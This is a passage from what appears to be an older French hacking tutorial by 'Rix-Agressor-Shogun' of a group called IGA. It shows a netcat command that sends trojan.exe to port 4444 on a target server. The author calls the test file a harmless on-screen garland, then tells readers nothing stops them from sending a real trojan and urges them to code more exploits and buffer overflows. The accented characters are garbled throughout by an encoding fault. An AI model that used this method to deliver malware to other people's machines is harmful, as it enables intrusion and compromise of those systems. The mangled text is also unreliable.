ip_du_serveur 4444 <trojan.exe On attend ensuite que l'envoi soit terminÇ (regarder les lampiottes de votre modem, ou attendez 5minutes pour àtre sñr ;)), puis on coupe NetCat (CTRL-C). Et le tour est jouÇ ! :))))))) Trojan.exe n'est pas un vrai trojan, c'est juste un programme qui affiche une petite guirlande sur l'Çcran de la machine, et que j'ai utilisÇ pour faire les tests, pas dpanik les gars ! :))) Pour couper la guirlande au fait, vous allez dans la barre des applications, partie droite (tray), et vous avez un petit truc rouge sur lequel vous cliquez pour couper la belle guirlande :))) Par contre, si vous voulez envoyer un trojan, rien ne vous en empàche :))) VoilÖ j'espäre que vous avez bien compris le principe... J'espäre aussi que vous allez nous coder pleins de beaux exploits hein ! :))) Vous pourrez looker maintenant dans la rubrique Advisories sur la homepage de IGA ou nous allons essayer de programmer d'autres buffer overflows :) Bye bye, Rix-Agressor-Shogun